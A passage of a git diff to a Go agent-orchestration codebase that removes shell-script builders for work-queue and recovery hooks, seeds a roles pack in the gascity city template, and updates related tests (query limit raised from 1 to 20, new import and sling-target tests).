-	return `for id in "$GC_SESSION_ID" "$GC_SESSION_NAME" "$GC_ALIAS"; do ` +
-		`[ -z "$id" ] && continue; ` +
-		`legacy=""; case "$id" in *control-dispatcher) legacy="${id%control-dispatcher}workflow-control";; esac; ` +
-		`for cand in "$id" "$legacy"; do ` +
-		`[ -z "$cand" ] && continue; ` +
-		`r=$(bd ready` + bdReadyIncludeEphemeralArg(includeEphemeralReady) + ` --assignee="$cand" --json --limit=1 2>/dev/null); ` +
-		`[ -n "$r" ] && [ "$r" != "[]" ] && printf "%s" "$r" && exit 0; ` +
-		ephemeralAssignedReadyProbeScript("cand", includeEphemeralReady) +
-		`done; ` +
-		`done; `
-}
-
-func ephemeralAssignedInProgressProbeScript(shellVar string, includeEphemeralReady bool) string {
-	_ = includeEphemeralReady
-	return `r=$(` + bdQueryEphemeralStatusQuietShell("in_progress") + ` | ` +
-		`jq --arg id "$` + shellVar + `" '[.[] | select((.assignee // "") == $id)] | .[:1]' 2>/dev/null); ` +
-		`[ -n "$r" ] && [ "$r" != "[]" ] && printf "%s" "$r" && exit 0; `
-}
-
-func ephemeralAssignedReadyProbeScript(shellVar string, includeEphemeralReady bool) string {
-	if includeEphemeralReady {
-		return ""
-	}
-	filter := legacyEphemeralReadyFilterJQ(`select((.assignee // "") == $id)`, 1)
-	return `r=$(` + bdQueryEphemeralStatusQuietShell("open") + ` | ` +
-		`jq --arg id "$` + shellVar + `" ` + shellquote.Quote(filter) + ` 2>/dev/null); ` +
-		`[ -n "$r" ] && [ "$r" != "[]" ] && printf "%s" "$r" && exit 0; `
-}
-
-func poolDemandOriginGateScript() string {
-	return `case "$GC_SESSION_ORIGIN" in ` +
-		`ephemeral|"") ;; ` +
-		`*) exit 0 ;; ` +
-		`esac; `
-}
-
-func routedPoolWorkQueryProbeScript(includeEphemeralReady bool, targetCount int) string {
-	script := poolDemandOriginGateScript() + poolDemandFirstRowFunctionScript(includeEphemeralReady)
-	for i := 1; i <= targetCount; i++ {
-		script += fmt.Sprintf(`probe_pool_demand "$%d"; `, i)
-	}
-	return script + `printf "[]"`
-}
-
-func routedPoolWorkQueryCommand(includeEphemeralReady bool, targets ...string) string {
-	args := []string{"sh", "-c", routedPoolWorkQueryProbeScript(includeEphemeralReady, len(targets)), "--"}
-	args = append(args, targets...)
-	return shellquote.Join(args)
-}
-
-// EffectiveWorkQuery returns the work query command for this agent.
-// If WorkQuery is set, returns it as-is. Otherwise returns the default
-// three-tier query with multi-identifier assignee resolution.
-//
-// Assignee resolution order: $GC_SESSION_ID (bead ID) > $GC_SESSION_NAME
-// (tmux session name) > $GC_ALIAS (named identity / qualified name).
-// All three are checked so work is found regardless of which identifier
-// was used when assigning.
-//
-// State priority: in_progress+assigned (crash recovery) >
-// ready+assigned (pre-assigned) > ready+unassigned+routed_to (pool).
-// Executable formula roots can be epic-typed; the bead storage policy decides
-// whether those roots are history-backed, no-history, or ephemeral for the
-// configured bd compatibility mode. Molecule containers are not routable
-// demand.
-//
-// Parent epics are excluded from the routed (pool) tier only
-// (--exclude-type=epic). An unassigned parent epic has no executable spec —
-// its semantic is "all children done" — so a pool worker claiming one does
-// undefined work (gc-udx; the repro is a routed parent epic, see
-// TestEffectiveWorkQuerySkipsEpicLeafScenario). The assigned tiers do NOT
-// exclude epics: work already assigned to this agent is owned, and the
-// patrol-loop pattern (gastown witness/refinery/deacon) can self-assign an
-// epic wisp that the agent must resume after a session restart. Excluding
-// epics there silently stranded those wisps (gc hook exited 1 with empty
-// output). Roles that need different behavior still opt in via an explicit
-// work_query in their agent config; that custom query is returned unchanged
-// above.
-//
-// When the reconciler runs the query for demand detection (no session
-// context), all identity vars are empty → assignee tiers skip → only
-// the routed_to tier fires to detect new demand.
-//
-// Tier 3's canonical and migration predicates are shared with
-// EffectivePoolDemandQuery so reconciler spawn decisions and worker claim
-// decisions stay symmetric.
-func (a *Agent) EffectiveWorkQuery() string {
-	return a.effectiveWorkQuery(false)
-}
-
-// EffectiveWorkQueryForBeads returns the default work query using the bd
-// compatibility semantics configured for the city.
-func (a *Agent) EffectiveWorkQueryForBeads(beads BeadsConfig) string {
-	return a.effectiveWorkQuery(beads.UsesBD105ReadySemantics())
-}
-
-func (a *Agent) effectiveWorkQuery(includeEphemeralReady bool) string {
-	if a.WorkQuery != "" {
-		return a.WorkQuery
-	}
-	target := a.poolDemandTarget()
-	legacyTarget := legacyWorkflowControlQualifiedName(target)
-	if legacyTarget == "" {
-		script := standardAssignedWorkQueryScript(includeEphemeralReady) +
-			poolDemandOriginGateScript() +
-			poolDemandFirstRowFunctionScript(includeEphemeralReady) +
-			`probe_pool_demand "$1"; ` +
-			`printf "[]"`
-		return shellquote.Join([]string{"sh", "-c", script, "--", target})
-	}
-	script := legacyControlAssignedWorkQueryScript(includeEphemeralReady) +
-		poolDemandOriginGateScript() +
-		poolDemandFirstRowFunctionScript(includeEphemeralReady) +
-		`probe_pool_demand "$1"; ` +
-		`probe_pool_demand "$2"; ` +
-		`printf "[]"`
-	return shellquote.Join([]string{"sh", "-c", script, "--", target, legacyTarget})
-}
-
-// EffectiveAssignedInProgressQuery returns the assigned-in-progress-only command
-// for prompt templates that spell out crash recovery as a separate startup tier.
-// A custom WorkQuery is treated as the caller-owned full discovery contract, so
-// split-tier prompts may run that same custom command in each query slot.
-func (a *Agent) EffectiveAssignedInProgressQuery() string {
-	return a.effectiveAssignedInProgressQuery(false)
-}
-
-// EffectiveAssignedInProgressQueryForBeads returns the assigned-in-progress
-// query using the bd compatibility semantics configured for the city.
-func (a *Agent) EffectiveAssignedInProgressQueryForBeads(beads BeadsConfig) string {
-	return a.effectiveAssignedInProgressQuery(beads.UsesBD105ReadySemantics())
-}
-
-func (a *Agent) effectiveAssignedInProgressQuery(includeEphemeralReady bool) string {
-	if a.WorkQuery != "" {
-		return a.WorkQuery
-	}
-	target := a.poolDemandTarget()
-	if legacyWorkflowControlQualifiedName(target) != "" {
-		return shellquote.Join([]string{"sh", "-c", legacyControlAssignedInProgressWorkQueryScript(includeEphemeralReady) + `printf "[]"`})
-	}
-	return shellquote.Join([]string{"sh", "-c", standardAssignedInProgressWorkQueryScript(includeEphemeralReady) + `printf "[]"`})
-}
-
-// EffectiveAssignedReadyQuery returns the assigned-ready-only command for
-// prompt templates that spell out claim-first startup in separate tiers. A
-// custom WorkQuery is treated as the caller-owned full discovery contract, so
-// split-tier prompts may run that same custom command in each query slot.
-func (a *Agent) EffectiveAssignedReadyQuery() string {
-	return a.effectiveAssignedReadyQuery(false)
-}
-
-// EffectiveAssignedReadyQueryForBeads returns the assigned-ready-only query
-// using the bd compatibility semantics configured for the city.
-func (a *Agent) EffectiveAssignedReadyQueryForBeads(beads BeadsConfig) string {
-	return a.effectiveAssignedReadyQuery(beads.UsesBD105ReadySemantics())
-}
-
-func (a *Agent) effectiveAssignedReadyQuery(includeEphemeralReady bool) string {
-	if a.WorkQuery != "" {
-		return a.WorkQuery
-	}
-	target := a.poolDemandTarget()
-	if legacyWorkflowControlQualifiedName(target) != "" {
-		return shellquote.Join([]string{"sh", "-c", legacyControlAssignedReadyWorkQueryScript(includeEphemeralReady) + `printf "[]"`})
-	}
-	return shellquote.Join([]string{"sh", "-c", standardAssignedReadyWorkQueryScript(includeEphemeralReady) + `printf "[]"`})
-}
-
-// EffectiveRoutedPoolQuery returns the routed-pool-only command for prompt
-// templates that spell out claim-first startup in separate tiers. It is the
-// prompt-side counterpart to EffectiveWorkQuery's routed pool tier.
-func (a *Agent) EffectiveRoutedPoolQuery() string {
-	return a.effectiveRoutedPoolQuery(false)
-}
-
-// EffectiveRoutedPoolQueryForBeads returns the routed-pool-only command using
-// the bd compatibility semantics configured for the city.
-func (a *Agent) EffectiveRoutedPoolQueryForBeads(beads BeadsConfig) string {
-	return a.effectiveRoutedPoolQuery(beads.UsesBD105ReadySemantics())
-}
-
-func (a *Agent) effectiveRoutedPoolQuery(includeEphemeralReady bool) string {
-	if a.WorkQuery != "" {
-		return a.WorkQuery
-	}
-	target := a.poolDemandTarget()
-	legacyTarget := legacyWorkflowControlQualifiedName(target)
-	if legacyTarget == "" {
-		return routedPoolWorkQueryCommand(includeEphemeralReady, target)
-	}
-	return routedPoolWorkQueryCommand(includeEphemeralReady, target, legacyTarget)
-}
-
-func legacyWorkflowControlQualifiedName(target string) string {
-	target = strings.TrimSpace(target)
-	if target == ControlDispatcherAgentName {
-		return "workflow-control"
-	}
-	const suffix = "/" + ControlDispatcherAgentName
-	if strings.HasSuffix(target, suffix) {
-		return strings.TrimSuffix(target, suffix) + "/workflow-control"
-	}
-	return ""
-}
-
-// EffectiveSlingQuery returns the sling query command template for this agent.
-// The template uses {} as a placeholder for the bead ID.
-// If SlingQuery is set, returns it as-is. Otherwise returns the default:
-// "bd update {} --set-metadata gc.routed_to=<template>"
-//
-// All agents use metadata-based routing. The reconciler and scale_check
-// handle session creation; sling just stamps the target template.
-func (a *Agent) EffectiveSlingQuery() string {
-	if a.SlingQuery != "" {
-		return a.SlingQuery
-	}
-	return a.DefaultSlingQuery()
-}
-
-// DefaultSlingQuery returns the built-in metadata-routing sling query for
-// this agent. Callers outside config should prefer this helper over rebuilding
-// the command string to preserve the bd boundary invariant.
-func (a *Agent) DefaultSlingQuery() string {
-	return "bd update {} --set-metadata " + beadmeta.RoutedToMetadataKey + "=" + a.QualifiedName()
-}
-
-// EffectiveDefaultSlingFormula returns the default sling formula for
-// this agent, or "" if none is set.
-func (a *Agent) EffectiveDefaultSlingFormula() string {
-	if a.DefaultSlingFormula != nil {
-		return *a.DefaultSlingFormula
-	}
-	if a.InheritedDefaultSlingFormula != nil {
-		return *a.InheritedDefaultSlingFormula
-	}
-	return ""
-}
-
-// DrainTimeoutDuration returns the drain timeout as a time.Duration.
-// Defaults to 5m if empty or unparseable.
-func (a *Agent) DrainTimeoutDuration() time.Duration {
-	if a.DrainTimeout == "" {
-		return 5 * time.Minute
-	}
-	dur, err := time.ParseDuration(a.DrainTimeout)
-	if err != nil {
-		return 5 * time.Minute
-	}
-	return dur
-}
-
-// EffectivePoolDemandQuery returns the count-form pool-demand query the
-// reconciler runs to detect new unassigned routed work. It is the
-// reconciler-side counterpart to EffectiveWorkQuery's Tier 3 (the worker
-// claim path): both derive their predicates from the same helpers so
-// any future change to the pool-demand shape flows to both paths
-// simultaneously.
-//
-// If ScaleCheck is set (user override), it takes precedence and is
-// returned as-is. Otherwise the default count-form is returned.
-//
-// Assigned in-progress work is resumed from session beads, so it must
-// not create additional generic pool demand here.
-//
-// See engdocs/architecture/dispatch.md "scale_check ↔ work_query
-// correspondence" and the protocol-mismatch class regression addressed
-// by PR #1516.
-func (a *Agent) EffectivePoolDemandQuery() string {
-	return a.effectivePoolDemandQuery(false)
-}
-
-// EffectivePoolDemandQueryForBeads returns the count-form demand query using
-// the bd compatibility semantics configured for the city.
-func (a *Agent) EffectivePoolDemandQueryForBeads(beads BeadsConfig) string {
-	return a.effectivePoolDemandQuery(beads.UsesBD105ReadySemantics())
-}
-
-func (a *Agent) effectivePoolDemandQuery(includeEphemeralReady bool) string {
-	if a.ScaleCheck != "" {
-		return a.ScaleCheck
-	}
-	target := a.poolDemandTarget()
-	return poolDemandCountShell(target, includeEphemeralReady)
-}
-
-// EffectiveScaleCheck returns the scale check command for this agent.
-// Pass-through to EffectivePoolDemandQuery for back-compat with code and
-// configs that name the predicate "scale_check"; new call sites should
-// prefer EffectivePoolDemandQuery to make the dependency on the
-// work_query predicate explicit.
-func (a *Agent) EffectiveScaleCheck() string {
-	return a.EffectivePoolDemandQuery()
-}
-
-// EffectiveMaxActiveSessions returns the agent's max active sessions.
-// Priority: agent.MaxActiveSessions > pool.Max > nil (unlimited).
-func (a *Agent) EffectiveMaxActiveSessions() *int {
-	return a.MaxActiveSessions // nil = unlimited (default)
-}
-
-// EffectiveMinActiveSessions returns the agent's min active sessions.
-func (a *Agent) EffectiveMinActiveSessions() int {
-	if a.MinActiveSessions != nil && *a.MinActiveSessions > 0 {
-		return *a.MinActiveSessions
-	}
-	return 0
-}
-
-// SupportsGenericEphemeralSessions reports whether the template may satisfy
-// generic controller demand with ephemeral sessions.
-func (a *Agent) SupportsGenericEphemeralSessions() bool {
-	if a == nil {
-		return false
-	}
-	if m := a.EffectiveMaxActiveSessions(); m != nil && *m == 0 {
-		return false
-	}
-	return true
-}
-
-// SupportsMultipleSessions reports whether the template may materialize more
-// than one distinct concrete session identity. Unlike
-// SupportsGenericEphemeralSessions, max_active_sessions = 0 still represents a
-// multi-session template shape even though generic ephemeral session creation
-// is disabled.
-func (a *Agent) SupportsMultipleSessions() bool {
-	if a == nil {
-		return false
-	}
-	if strings.TrimSpace(a.Namepool) != "" || len(a.NamepoolNames) > 0 {
-		return true
-	}
-	maxSessions := a.EffectiveMaxActiveSessions()
-	return maxSessions == nil || *maxSessions != 1
-}
-
-// UsesCanonicalSingletonPoolIdentity reports whether singleton pool-shaped
-// surfaces should use the configured agent identity instead of synthesizing a
-// slot identity such as "{name}-1".
-func (a *Agent) UsesCanonicalSingletonPoolIdentity() bool {
-	if a == nil {
-		return false
-	}
-	if strings.TrimSpace(a.Namepool) != "" || len(a.NamepoolNames) > 0 {
-		return false
-	}
-	maxSessions := a.EffectiveMaxActiveSessions()
-	return maxSessions != nil && *maxSessions == 1
-}
-
-// SupportsExpandedSessionIdentities reports whether callers should expose or
-// discover concrete member identities instead of only the configured identity.
-func (a *Agent) SupportsExpandedSessionIdentities() bool {
-	if a == nil {
-		return false
-	}
-	if m := a.EffectiveMaxActiveSessions(); m != nil && *m == 0 {
-		return false
-	}
-	return a.SupportsInstanceExpansion() && !a.UsesCanonicalSingletonPoolIdentity()
-}
-
-// SupportsInstanceExpansion reports whether the template may have multiple
-// simultaneously addressable concrete instances and therefore needs instance
-// discovery / synthetic member naming.
-//
-// max_active_sessions=1 has two distinct flavors:
-//
-//   - Pool agents (MinActiveSessions or ScaleCheck set) keep pool controller
-//     semantics. Non-namepool singleton pools still use the canonical
-//     configured identity; see UsesCanonicalSingletonPoolIdentity.
-//   - Named-session agents (MaxActiveSessions=1 with a [[named_session]]
-//     entry, no Min/ScaleCheck) addressed as just "{name}" — they have a
-//     stable canonical identity and a phantom "-1" suffix breaks tools that
-//     resolve by qualified name.
-//
-// We keep instance expansion on for the pool flavor so controller paths still
-// run pool reconciliation, and turn it off for the named-session flavor so the
-// bare name resolves correctly.
-func (a *Agent) SupportsInstanceExpansion() bool {
-	if a == nil {
-		return false
-	}
-	if strings.TrimSpace(a.Namepool) != "" || len(a.NamepoolNames) > 0 {
-		return true
-	}
-	m := a.EffectiveMaxActiveSessions()
-	if m == nil {
-		return true
-	}
-	if *m < 0 || *m > 1 {
-		return true
-	}
-	// *m == 1: distinguish pool agents (keep numbered instances) from
-	// named-session agents (collapse to base identity). Pool agents are
-	// identified by an explicit MinActiveSessions or a ScaleCheck override.
-	if a.MinActiveSessions != nil || strings.TrimSpace(a.ScaleCheck) != "" {
-		return true
-	}
-	return false
-}
-
-// HasUnlimitedSessionCapacity reports whether max_active_sessions is unbounded.
-func (a *Agent) HasUnlimitedSessionCapacity() bool {
-	if a == nil {
-		return false
-	}
-	m := a.EffectiveMaxActiveSessions()
-	return m == nil || *m < 0
-}
-
-// ResolvedMaxActiveSessions returns the effective max for this agent,
-// inheriting from rig then workspace if not set on the agent directly.
-func (a *Agent) ResolvedMaxActiveSessions(cfg *City) *int {
-	if m := a.EffectiveMaxActiveSessions(); m != nil {
-		return m
-	}
-	// Inherit from rig.
-	if a.Dir != "" && cfg != nil {
-		for _, rig := range cfg.Rigs {
-			if rig.Name == a.Dir && rig.MaxActiveSessions != nil {
-				return rig.MaxActiveSessions
-			}
-		}
-	}
-	// Inherit from workspace.
-	if cfg != nil && cfg.Workspace.MaxActiveSessions != nil {
-		return cfg.Workspace.MaxActiveSessions
-	}
-	return nil // unlimited
-}
-
-// EffectiveOnDeath returns the on_death command for this agent.
-// If OnDeath is set, returns it. Otherwise returns the default recovery hook
-// that unclaims in-progress work assigned to this concrete agent identity.
-func (a *Agent) EffectiveOnDeath() string {
-	return a.effectiveOnDeath(false)
-}
-
-// EffectiveOnDeathForBeads returns the default on_death command using the bd
-// compatibility semantics configured for the city.
-func (a *Agent) EffectiveOnDeathForBeads(beads BeadsConfig) string {
-	return a.effectiveOnDeath(beads.UsesBD105ReadySemantics())
-}
-
-func (a *Agent) effectiveOnDeath(includeEphemeralInProgress bool) string {
-	if a.OnDeath != "" {
-		return a.OnDeath
-	}
-	route := a.QualifiedName()
-	if a.PoolName != "" {
-		route = a.PoolName
-	}
-	_ = includeEphemeralInProgress
-	ephemeralRead := bdQueryEphemeralStatusQuietShell("in_progress") + ` | ` +
-		`jq -r --arg assignee ` + shellquote.Quote(a.QualifiedName()) + ` '.[] | select((.assignee // "") == $assignee) | [.id, ` + jqMeta(beadmeta.RunTargetMetadataKey) + `, ` + jqMeta(beadmeta.RoutedToMetadataKey) + `] | @tsv' 2>/dev/null; `
-	// Reset both assignee and status: clearing assignee alone leaves the bead
-	// invisible to every work_query tier (Tier 1 needs assignee match, Tiers
-	// 2/3 only match "ready" status). The next worker re-claims via Tier 3.
-	// If routed metadata is missing entirely, backfill the canonical
-	// gc.run_target route so reopened direct-assigned work does not stay
-	// invisible.
-	return `{ ` +
-		`bd list --assignee=` + a.QualifiedName() +
-		` --status=in_progress --json 2>/dev/null | ` +
-		`jq -r '.[] | [.id, ` + jqMeta(beadmeta.RunTargetMetadataKey) + `, ` + jqMeta(beadmeta.RoutedToMetadataKey) + `] | @tsv' 2>/dev/null; ` +
-		ephemeralRead +
-		`} | ` +
-		`while IFS="$(printf '\t')" read -r id run_target routed_to; do ` +
-		`[ -z "$id" ] && continue; ` +
-		`if [ -n "$run_target" ] || [ -n "$routed_to" ]; then ` +
-		`bd update "$id" --assignee "" --status open 2>/dev/null; ` +
-		`else bd update "$id" --assignee "" --status open --set-metadata ` + shellquote.Quote(beadmeta.RunTargetMetadataKey+"="+route) + ` 2>/dev/null; ` +
-		`fi; ` +
-		`done`
-}
-
-// EffectiveOnBoot returns the on_boot command for this agent.
-// If OnBoot is set, returns it. Otherwise returns the default recovery hook
-// that unclaims in-progress work routed to this backing config.
-func (a *Agent) EffectiveOnBoot() string {
-	return a.effectiveOnBoot(false)
-}
-
-// EffectiveOnBootForBeads returns the default on_boot command using the bd
-// compatibility semantics configured for the city.
-func (a *Agent) EffectiveOnBootForBeads(beads BeadsConfig) string {
-	return a.effectiveOnBoot(beads.UsesBD105ReadySemantics())
-}
-
-func (a *Agent) effectiveOnBoot(includeEphemeralInProgress bool) string {
-	if a.OnBoot != "" {
-		return a.OnBoot
-	}
-	template := a.QualifiedName()
-	if a.PoolName != "" {
-		template = a.PoolName
-	}
-	_ = includeEphemeralInProgress
-	ephemeralRead := bdQueryEphemeralStatusQuietShell("in_progress") + ` | ` +
-		`jq -r --arg template "$template" '.[] | select((.assignee // "") == "") | select((` + jqMeta(beadmeta.RoutedToMetadataKey) + ` == $template) or ((` + jqMeta(beadmeta.RoutedToMetadataKey) + ` == "") and (` + jqMeta(beadmeta.RunTargetMetadataKey) + ` == $template) and (` + jqMeta(beadmeta.KindMetadataKey) + ` == "` + beadmeta.KindWorkflow + `"))) | .id' 2>/dev/null; `
-	return `template=` + shellquote.Quote(template) + `; ` +
-		`{ ` +
-		`bd list --metadata-field "` + beadmeta.RoutedToMetadataKey + `=$template" --status=in_progress --no-assignee --json 2>/dev/null | ` +
-		`jq -r '.[].id' 2>/dev/null; ` +
-		`bd list --metadata-field "` + beadmeta.RunTargetMetadataKey + `=$template" --metadata-field "` + beadmeta.KindMetadataKey + `=` + beadmeta.KindWorkflow + `" --status=in_progress --no-assignee --json 2>/dev/null | ` +
-		`jq -r '.[] | select(` + jqMeta(beadmeta.RoutedToMetadataKey) + ` == "") | .id' 2>/dev/null; ` +
-		ephemeralRead +
-		`} | awk 'NF && !seen[$0]++' | ` +
-		`xargs -rI{} bd update {} --status open 2>/dev/null`
-}
-
 // InjectImplicitAgents adds on-demand agents for each explicitly configured
 // provider at both city scope and each rig scope. A provider is configured
 // only when it appears in cfg.Providers; workspace.provider selects the
@@ -5425,9 +4558,13 @@ func GastownCity(name, provider, startCommand string) City {
 
 // GascityCityWithProviders returns a minimal managed city that imports the
 // public gascity planning/implementation skills pack: a single mayor agent
-// plus [imports.gascity] pinned to the registry release. The pack ships
-// skills and formulas only (no agents), so the city shape matches the
-// minimal template with the pack layered on top.
+// plus [imports.gascity] (skills and formulas) pinned to the registry release.
+// The gascity formulas route their steps to role agents (gc.run-operator,
+// gc.requirements-planner, ...) that ship in the separate gc-roles subpack, so
+// the template also seeds that pack as a default rig import bound "gc" — every
+// rig added to the city then inherits the providerless, rig-scoped roles the
+// formulas coordinate. Without it a fresh city can discover a formula but fails
+// to launch with `agent "gc.run-operator" not found in city.toml` (gascity#3832).
 func GascityCityWithProviders(name, defaultProvider string, providers []string) City {
 	city := WizardCityWithProviders(name, defaultProvider, providers)
 	city.Imports = map[string]Import{
@@ -5436,6 +4573,13 @@ func GascityCityWithProviders(name, defaultProvider string, providers []string)
 			Version: PublicGascityPackVersion,
 		},
 	}
+	city.DefaultRigImports = map[string]Import{
+		"gc": {
+			Source:  PublicGascityRolesPackSource,
+			Version: PublicGascityPackVersion,
+		},
+	}
+	city.DefaultRigImportOrder = []string{"gc"}
 	return city
 }
 
diff --git a/internal/config/config_test.go b/internal/config/config_test.go
index 59027ad2ab..08568c1c52 100644
--- a/internal/config/config_test.go
+++ b/internal/config/config_test.go
@@ -1279,6 +1279,37 @@ func TestGastownCity(t *testing.T) {
 	}
 }
 
+// TestGascityCitySeedsRolesDefaultRigImport pins gascity#3832: the gascity
+// template imports the formulas pack at city scope AND seeds the gc-roles pack
+// as a default rig import bound "gc", so every rig added to the city receives
+// the providerless role agents (gc.run-operator, gc.requirements-planner, ...)
+// that the built-in formulas route to. Without this, a fresh city could launch
+// a formula but failed with `agent "gc.run-operator" not found in city.toml`.
+func TestGascityCitySeedsRolesDefaultRigImport(t *testing.T) {
+	c := GascityCityWithProviders("bright-lights", "claude", []string{"claude"})
+
+	// City-scope formulas/skills import is unchanged.
+	if len(c.Imports) != 1 || c.Imports["gascity"].Source != PublicGascityPackSource || c.Imports["gascity"].Version != PublicGascityPackVersion {
+		t.Errorf("Imports = %v, want gascity=%s %s", c.Imports, PublicGascityPackSource, PublicGascityPackVersion)
+	}
+
+	// Roles ride along as a default rig import, bound "gc" so the formula's
+	// gc.* targets resolve, pinned to the same commit as the formulas pack.
+	roles, ok := c.DefaultRigImports["gc"]
+	if !ok || len(c.DefaultRigImports) != 1 {
+		t.Fatalf("DefaultRigImports = %v, want single gc entry", c.DefaultRigImports)
+	}
+	if roles.Source != PublicGascityRolesPackSource {
+		t.Errorf("roles import source = %q, want %q", roles.Source, PublicGascityRolesPackSource)
+	}
+	if roles.Version != PublicGascityPackVersion {
+		t.Errorf("roles import version = %q, want %q (same commit as the formulas pack)", roles.Version, PublicGascityPackVersion)
+	}
+	if len(c.DefaultRigImportOrder) != 1 || c.DefaultRigImportOrder[0] != "gc" {
+		t.Errorf("DefaultRigImportOrder = %v, want [gc]", c.DefaultRigImportOrder)
+	}
+}
+
 func TestGastownCityStartCommand(t *testing.T) {
 	c := GastownCity("test", "", "my-agent --auto")
 	if c.Workspace.StartCommand != "my-agent --auto" {
@@ -1880,7 +1911,7 @@ func TestEffectiveWorkQueryDefault(t *testing.T) {
 	if strings.Contains(got, `--include-ephemeral`) {
 		t.Errorf("EffectiveWorkQuery() default must be bd 1.0.4-compatible without --include-ephemeral: %q", got)
 	}
-	if !strings.Contains(got, `bd ready --metadata-field "gc.routed_to=$target" --unassigned --exclude-type=epic --json --sort oldest --limit=1`) {
+	if !strings.Contains(got, `bd ready --metadata-field "gc.routed_to=$target" --unassigned --exclude-type=epic --json --sort oldest --limit=20`) {
 		t.Errorf("EffectiveWorkQuery() missing tier 3 pool-demand probe: %q", got)
 	}
 	if !strings.Contains(got, "-- mayor") {
@@ -1902,7 +1933,7 @@ func TestEffectiveWorkQueryDefault(t *testing.T) {
 func TestEffectiveWorkQueryBD105CompatibilityOptIn(t *testing.T) {
 	a := Agent{Name: "mayor"}
 	got := a.EffectiveWorkQueryForBeads(BeadsConfig{BDCompatibility: BeadsBDCompatibility105})
-	if !strings.Contains(got, `bd ready --include-ephemeral --metadata-field "gc.routed_to=$target" --unassigned --exclude-type=epic --json --sort oldest --limit=1`) {
+	if !strings.Contains(got, `bd ready --include-ephemeral --metadata-field "gc.routed_to=$target" --unassigned --exclude-type=epic --json --sort oldest --limit=20`) {
 		t.Errorf("EffectiveWorkQueryForBeads(bd-1.0.5) missing include-ephemeral routed probe: %q", got)
 	}
 	if !strings.Contains(got, `bd ready --include-ephemeral --assignee="$id" --json --limit=1`) {
@@ -2275,13 +2306,13 @@ func TestEffectiveWorkQueryControlDispatcherClaimsLegacyUnassignedRoute(t *testi
 	out := runEffectiveWorkQuery(t, a, nil, `#!/bin/sh
 set -eu
 case "$*" in
-  *"ready --include-ephemeral"*"--metadata-field gc.routed_to=gascity/control-dispatcher"*"--unassigned"*"--exclude-type=epic"*"--json"*"--sort oldest"*"--limit=1"*)
+  *"ready --include-ephemeral"*"--metadata-field gc.routed_to=gascity/control-dispatcher"*"--unassigned"*"--exclude-type=epic"*"--json"*"--sort oldest"*"--limit=20"*)
     printf '[]'
     ;;
-  *"ready --metadata-field gc.routed_to=gascity/control-dispatcher"*"--unassigned"*"--exclude-type=epic"*"--json"*"--sort oldest"*"--limit=1"*)
+  *"ready --metadata-field gc.routed_to=gascity/control-dispatcher"*"--unassigned"*"--exclude-type=epic"*"--json"*"--sort oldest"*"--limit=20"*)
     printf '[]'
     ;;
-  *"ready --metadata-field gc.routed_to=gascity/workflow-control"*"--unassigned"*"--exclude-type=epic"*"--json"*"--sort oldest"*"--limit=1"*)
+  *"ready --metadata-field gc.routed_to=gascity/workflow-control"*"--unassigned"*"--exclude-type=epic"*"--json"*"--sort oldest"*"--limit=20"*)
     printf '[{"id":"ga-legacy-route"}]'
     ;;
   *)
@@ -2310,7 +2341,7 @@ func TestEffectiveWorkQueryRoutedQueueUsesNativeOldestSortAcrossReadyTiers(t *te
 	}, `#!/bin/sh
 set -eu
 case "$*" in
-  "ready --metadata-field gc.routed_to=hello-world/worker --unassigned --exclude-type=epic --json --sort oldest --limit=1")
+  "ready --metadata-field gc.routed_to=hello-world/worker --unassigned --exclude-type=epic --json --sort oldest --limit=20")
     printf '[{"id":"older-no-history","priority":2,"created_at":"2026-05-20T06:09:30Z","no_history":true}]'
     ;;
   *)
@@ -2355,7 +2386,7 @@ func TestEffectiveWorkQueryRoutedQueueUsesOldestBeforePriority(t *testing.T) {
 	}, `#!/bin/sh
 set -eu
 case "$*" in
-  *"ready --metadata-field gc.routed_to=hello-world/worker"*"--unassigned"*"--exclude-type=epic"*"--json"*"--sort oldest"*"--limit=1"*)
+  *"ready --metadata-field gc.routed_to=hello-world/worker"*"--unassigned"*"--exclude-type=epic"*"--json"*"--sort oldest"*"--limit=20"*)
     printf '[{"id":"older-p2","priority":2,"created_at":"2026-05-20T06:09:30Z"}]'
     ;;
   *)
@@ -2378,7 +2409,7 @@ func TestEffectiveWorkQueryRoutedFallbackUsesNativeOldestSort(t *testing.T) {
 	}, `#!/bin/sh
 set -eu
 case "$*" in
-  *"ready --metadata-field gc.routed_to=hello-world/worker"*"--unassigned"*"--exclude-type=epic"*"--json"*"--sort oldest"*"--limit=1"*)
+  *"ready --metadata-field gc.routed_to=hello-world/worker"*"--unassigned"*"--exclude-type=epic"*"--json"*"--sort oldest"*"--limit=20"*)
     printf '[]'
     ;;
   *"ready --metadata-field gc.run_target=hello-world/worker"*"--metadata-field gc.kind=workflow"*"--unassigned"*"--exclude-type=epic"*"--json"*"--sort oldest"*"--limit=20"*)
@@ -2775,7 +2806,7 @@ func TestPoolDemandPredicateSharedWithWorkQuery(t *testing.T) {
 		t.Run(tt.name, func(t *testing.T) {
 			wq := tt.agent.EffectiveWorkQuery()
 			demand := tt.agent.EffectivePoolDemandQuery()
-			workPredicate := bdReadyPoolDemandShell("--sort oldest --limit=1", false)
+			workPredicate := bdReadyPoolDemandShell("--sort oldest --limit=20", false)
 			if !strings.Contains(wq, workPredicate) {
 				t.Errorf("EffectiveWorkQuery() missing shared predicate %q in %q", workPredicate, wq)
 			}
@@ -5848,6 +5879,32 @@ func TestDefaultSlingTargetRoundTrip(t *testing.T) {
 	}
 }
 
+func TestDefaultSlingTargetsRoundTrip(t *testing.T) {
+	c := City{
+		Workspace: Workspace{Name: "test"},
+		Rigs: []Rig{
+			{Name: "hello-world", Path: "/tmp/hw", DefaultSlingTargets: []string{"hello-world/polecat-a", "hello-world/polecat-b"}},
+		},
+	}
+	data, err := c.Marshal()
+	if err != nil {
+		t.Fatalf("Marshal: %v", err)
+	}
+	got, err := Parse(data)
+	if err != nil {
+		t.Fatalf("Parse(Marshal output): %v", err)
+	}
+	want := []string{"hello-world/polecat-a", "hello-world/polecat-b"}
+	if len(got.Rigs[0].DefaultSlingTargets) != len(want) {
+		t.Fatalf("DefaultSlingTargets len = %d, want %d", len(got.Rigs[0].DefaultSlingTargets), len(want))
+	}
+	for i, v := range want {
+		if got.Rigs[0].DefaultSlingTargets[i] != v {
+			t.Errorf("DefaultSlingTargets[%d] = %q, want %q", i, got.Rigs[0].DefaultSlingTargets[i], v)
+		}
+	}
+}
+
 // ---------------------------------------------------------------------------
 // SessionConfig accessor tests
 // ---------------------------------------------------------------------------
@@ -8243,3 +8300,50 @@ name = "worker"
